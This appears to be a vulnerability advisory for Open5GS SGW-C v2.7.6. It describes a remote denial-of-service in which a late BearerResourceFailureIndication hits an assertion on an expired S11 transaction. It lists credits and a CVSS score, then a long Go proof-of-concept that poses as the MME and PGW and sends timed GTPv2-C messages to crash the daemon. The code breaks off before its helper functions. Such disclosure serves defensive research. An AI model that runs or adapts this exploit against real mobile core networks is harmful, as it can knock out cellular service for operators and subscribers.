| 설명 | ### Description
SGW-C can be forced to **crash** if a **BearerResourceFailureIndication** (GTPv2-C message type 69) is received on **S5-C** after the corresponding **S11 Bearer Resource procedure transaction** has already timed out and been freed.
The handler `sgwc_s5c_handle_bearer_resource_failure_indication()` assumes the associated S11 transaction (`s11_xact`) is always valid; when the S11-side transaction expires before the late S5-C indication arrives, `s11_xact` becomes `NULL` and the code hits `ogs_assert(s11_xact)` at `src/sgwc/s5c-handler.c:992`, terminating `open5gs-sgwcd`. This results in a **remote DoS** achievable by controlling message timing (e.g., delaying the S5-C indication until after the S11 transaction timeout).
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// PB2-08 PoC: BearerResourceFailureIndication Stale S11 Transaction
// Target: Open5GS SGW-C v2.7.6
// Vulnerability: ogs_assert(s11_xact) in sgwc_s5c_handle_bearer_resource_failure_indication (s5c-handler.c:992)
//
// Attack Flow:
// 1. MME -> SGW-C: CreateSessionRequest (establish session)
// 2. PGW: Respond to CreateSessionRequest
// 3. MME -> SGW-C: BearerResourceCommand (creates S11 transaction)
// 4. SGW-C -> PGW: BearerResourceCommand (creates S5c transaction, associated with S11)
// 5. Wait for S11 transaction to timeout
// 6. PGW -> SGW-C: BearerResourceFailureIndication (S11 transaction already expired)
// 7. ogs_assert(s11_xact) fails -> crash
package main
import (
"encoding/binary"
"flag"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
const (
MsgTypeBearerResourceCommand = 68 // 0x44
MsgTypeBearerResourceFailureIndication = 69 // 0x45
)
var (
sgwcS11Addr = flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address")
sgwcS5cAddr = flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5c address")
mmeAddr = flag.String("mme", "10.44.44.5:2123", "MME bind address")
pgwAddr = flag.String("pgw", "10.44.44.4:2123", "PGW bind address")
xactTimeout = flag.Duration("xact-timeout", 4*time.Second, "S11 transaction timeout wait")
)
func main() {
flag.Parse()
log.SetFlags(log.Ltime | log.Lmicroseconds)
log.Println("=== PB2-08 PoC: BearerResourceFailureIndication Stale S11 Transaction ===")
log.Printf("Target: SGW-C S11=%s, S5c=%s", *sgwcS11Addr, *sgwcS5cAddr)
log.Printf("Attacker: MME=%s, PGW=%s", *mmeAddr, *pgwAddr)
// Parse addresses
mmeLocal, _ := net.ResolveUDPAddr("udp", *mmeAddr)
pgwLocal, _ := net.ResolveUDPAddr("udp", *pgwAddr)
sgwcS11, _ := net.ResolveUDPAddr("udp", *sgwcS11Addr)
sgwcS5c, _ := net.ResolveUDPAddr("udp", *sgwcS5cAddr)
// Create MME and PGW UDP connections
mmeConn, err := net.ListenUDP("udp", mmeLocal)
if err != nil {
log.Fatalf("Failed to bind MME: %v", err)
}
defer mmeConn.Close()
log.Printf("[MME] Listening on %s", mmeLocal)
pgwConn, err := net.ListenUDP("udp", pgwLocal)
if err != nil {
log.Fatalf("Failed to bind PGW: %v", err)
}
defer pgwConn.Close()
log.Printf("[PGW] Listening on %s", pgwLocal)
// State tracking
var sgwS11cTeid, sgwS5cTeid uint32
var s5cSeqNum uint32
mmeSeqNum := uint32(1)
pathSwitch := false
// Step 1: MME -> SGW-C: CreateSessionRequest
log.Println("\n[Step 1] MME -> SGW-C: CreateSessionRequest")
csReq := createSessionRequest(mmeSeqNum)
if err := sendMsg(mmeConn, sgwcS11, csReq); err != nil {
log.Fatalf("Failed to send CreateSessionRequest: %v", err)
}
mmeSeqNum++
// Wait for SGW-C -> PGW: CreateSessionRequest
log.Println("[Step 2] Waiting for SGW-C -> PGW: CreateSessionRequest...")
buf := make([]byte, 4096)
pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err := pgwConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive CreateSessionRequest at PGW: %v", err)
}
// Parse to get SGW's S5c TEID
msg, err := message.Parse(buf[:n])
if err != nil {
log.Fatalf("Failed to parse message: %v", err)
}
switch m := msg.(type) {
case *message.CreateSessionRequest:
csReqFromSgw := m
sgwS5cTeid, _ = csReqFromSgw.SenderFTEIDC.TEID()
s5cSeqNum = csReqFromSgw.SequenceNumber
log.Printf("[PGW] Received CreateSessionRequest, SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
case *message.ModifyBearerRequest:
mbReqFromSgw := m
if mbReqFromSgw.SenderFTEIDC == nil {
log.Fatalf("ModifyBearerRequest missing Sender F-TEID")
}
sgwS5cTeid, err = mbReqFromSgw.SenderFTEIDC.TEID()
if err != nil {
log.Fatalf("Failed to parse ModifyBearerRequest Sender F-TEID: %v", err)
}
s5cSeqNum = mbReqFromSgw.SequenceNumber
log.Printf("[PGW] Received ModifyBearerRequest (path switch), SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum)
if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil {
log.Fatalf("Failed to send ModifyBearerResponse: %v", err)
}
log.Println("[PGW] Sent ModifyBearerResponse (path switch)")
pathSwitch = true
default:
// Check if it's a BearerResourceCommand (raw parse)
if n >= 12 && buf[1] == MsgTypeBearerResourceCommand {
sgwS5cTeid = binary.BigEndian.Uint32(buf[4:8])
s5cSeqNum = uint32(buf[8])<<16 | uint32(buf[9])<<8 | uint32(buf[10])
log.Printf("[PGW] Received BearerResourceCommand directly, TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
log.Printf("\n[Step 3] Waiting %v for S11 transaction to timeout...", *xactTimeout)
log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)")
time.Sleep(*xactTimeout)
log.Println("\n[Step 4] PGW -> SGW-C: BearerResourceFailureIndication (S11 transaction expired!)")
log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH")
brfInd := buildBearerResourceFailureIndication(sgwS5cTeid, s5cSeqNum)
if _, err := pgwConn.WriteToUDP(brfInd, sgwcS5c); err != nil {
log.Fatalf("Failed to send BearerResourceFailureIndication: %v", err)
}
log.Println("\n[*] PoC sent! Check SGW-C for crash:")
log.Println(" FATAL: sgwc_s5c_handle_bearer_resource_failure_indication: Assertion `s11_xact' failed.")
log.Println(" (s5c-handler.c:992)")
time.Sleep(2 * time.Second)
return
}
log.Fatalf("Expected CreateSessionRequest, got %T", msg)
}
if !pathSwitch {
// Step 3: PGW -> SGW-C: CreateSessionResponse
log.Println("[Step 3] PGW -> SGW-C: CreateSessionResponse")
pgwS5cTeid := uint32(0x30000001)
pgwS5uTeid := uint32(0x30000002)
csRsp := createSessionResponse(sgwS5cTeid, s5cSeqNum, pgwS5cTeid, pgwS5uTeid)
if err := sendMsg(pgwConn, sgwcS5c, csRsp); err != nil {
log.Fatalf("Failed to send CreateSessionResponse: %v", err)
}
}
// Wait for SGW-C -> MME: CreateSessionResponse
log.Println("[Step 4] Waiting for SGW-C -> MME: CreateSessionResponse...")
mmeConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err = mmeConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive CreateSessionResponse at MME: %v", err)
}
msg, err = message.Parse(buf[:n])
if err != nil {
log.Fatalf("Failed to parse CreateSessionResponse: %v", err)
}
csRspFromSgw, ok := msg.(*message.CreateSessionResponse)
if !ok {
log.Fatalf("Expected CreateSessionResponse, got %T", msg)
}
if csRspFromSgw.Cause != nil {
if cause, err := csRspFromSgw.Cause.Cause(); err == nil {
log.Printf("[MME] CreateSessionResponse cause=%d", cause)
}
}
if csRspFromSgw.SenderFTEIDC == nil {
log.Fatalf("CreateSessionResponse missing Sender F-TEID (session not accepted or SGW-U not ready)")
}
sgwS11cTeid, err = csRspFromSgw.SenderFTEIDC.TEID()
if err != nil {
log.Fatalf("Failed to parse Sender F-TEID: %v", err)
}
log.Printf("[MME] Session established! SGW S11c TEID: 0x%08x", sgwS11cTeid)
// Step 5: MME -> SGW-C: BearerResourceCommand
log.Println("\n[Step 5] MME -> SGW-C: BearerResourceCommand")
brcReq := buildBearerResourceCommand(sgwS11cTeid, mmeSeqNum)
if _, err := mmeConn.WriteToUDP(brcReq, sgwcS11); err != nil {
log.Fatalf("Failed to send BearerResourceCommand: %v", err)
}
mmeSeqNum++
// Wait for SGW-C -> PGW: BearerResourceCommand
log.Println("[Step 6] Waiting for SGW-C -> PGW: BearerResourceCommand...")
pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err = pgwConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive BearerResourceCommand at PGW: %v", err)
}
// Parse sequence number from raw message (BearerResourceCommand is not in go-gtp)
if n < 12 {
log.Fatalf("Message too short")
}
if buf[1] != MsgTypeBearerResourceCommand {
log.Fatalf("Expected BearerResourceCommand (type %d), got type %d", MsgTypeBearerResourceCommand, buf[1])
}
s5cSeqNum = uint32(buf[8])<<16 | uint32(buf[9])<<8 | uint32(buf[10])
log.Printf("[PGW] Received BearerResourceCommand, Seq: %d", s5cSeqNum)
// Step 7: Wait for S11 transaction to timeout
log.Printf("\n[Step 7] Waiting %v for S11 transaction to timeout...", *xactTimeout)
log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)")
time.Sleep(*xactTimeout)
// Step 8: PGW -> SGW-C: BearerResourceFailureIndication (delayed)
log.Println("\n[Step 8] PGW -> SGW-C: BearerResourceFailureIndication (S11 transaction expired!)")
log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH")
brfInd := buildBearerResourceFailureIndication(sgwS5cTeid, s5cSeqNum)
if _, err := pgwConn.WriteToUDP(brfInd, sgwcS5c); err != nil {
log.Fatalf("Failed to send BearerResourceFailureIndication: %v", err)
}
|
|---|